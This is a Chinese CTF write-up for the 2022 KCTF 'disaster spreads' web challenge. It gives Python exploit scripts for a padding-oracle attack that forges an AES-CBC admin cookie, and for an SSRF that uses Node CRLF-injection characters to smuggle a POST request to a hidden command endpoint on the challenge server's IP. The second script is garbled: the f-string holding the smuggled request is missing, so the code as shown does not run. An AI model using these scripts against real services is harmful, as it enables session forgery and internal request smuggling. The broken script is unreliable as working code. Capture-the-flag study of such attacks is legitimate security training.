[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup
2022-11-25 16:3:0 Author: bbs.pediy.com(查看原文) 阅读量:7 收藏

[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup

2022-11-25 16:03 3876

[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup

访问主页会给一个 isadmin 的 cookie, 带上此 cookie 直接访问 /admin, 发现提示不是 admin.
对 cookie 最后一位修改后提示 decrypt error, 再结合 unhexlify 后长度 32, 可以猜出是分块加密.
然后修改第一位, 提示 json parse error, 那么可以得知大概率是 CBC 模式 + PKCS7 Padding.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

import binascii

import requests

from paddingoracle import PaddingOracle, BadPaddingException

class PadBuster(PaddingOracle):

    def __init__(self, session: requests.Session, wait: float = 0.1, **kwargs):

        super(PadBuster, self).__init__(**kwargs)

        self.session = session

        self.wait = wait

    def oracle(self, data, **kwargs):

        token = binascii.hexlify(data).decode()

        resp = None

        while True:

            try:

                resp = self.session.get('http://150.158.18.137:5329/admin', cookies={

                    'isadmin': token

                })

                break

            except requests.HTTPError:

                continue

        self.history.append(resp)

        if 'Decrypt error' not in resp.text:

            return

        else:

            raise BadPaddingException

sess = requests.session()

pad_buster = PadBuster(sess)

ct = binascii.unhexlify('b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2')

print(len(ct))

print(ct)

iv = bytearray(ct[:16])

iv[10] = iv[10] ^ ord('0') ^ ord('1')

print(binascii.hexlify(bytes(iv) + ct[16:]))

通过 padding oracle 可以解出是 {"admin":"0"}\x03\x03\x03, 那么直接构造 iv 使得 CBC 解密出来 admin 为 1 即可.
使用构造的 cookie 访问 /admin, 提示 post cmd 到 /C00mmmmanD. 但是此时即使带上 isadmin cookie 访问 /C00mmmmanD 却还提示不是 admin, 那么大概率要结合一开始的 /search 的接口来 SSRF.
但是 search 只能发送 GET 请求, 由 Http banner 可以得知服务器是 express, 搜索 node 的 CRLF, 可以搜到 https://xz.aliyun.com/t/2894
直接用同样的方法测试可以利用, 那么直接构造请求 POST /C00mmmmanD 即可.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

import requests

sess = requests.session()

CRLF = 'č̊'

BLANK = '̠'

r = f

.replace('\n', CRLF).replace(' ', BLANK)

print(r)

r = sess.get('http://150.158.18.137:5329/search?url=http://127.0.0.1:5329/C00mmmmanD?a=' + r)

print(r.text)

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~


文章来源: https://bbs.pediy.com/thread-275291.htm
如有侵权请联系:admin#unsafe.sh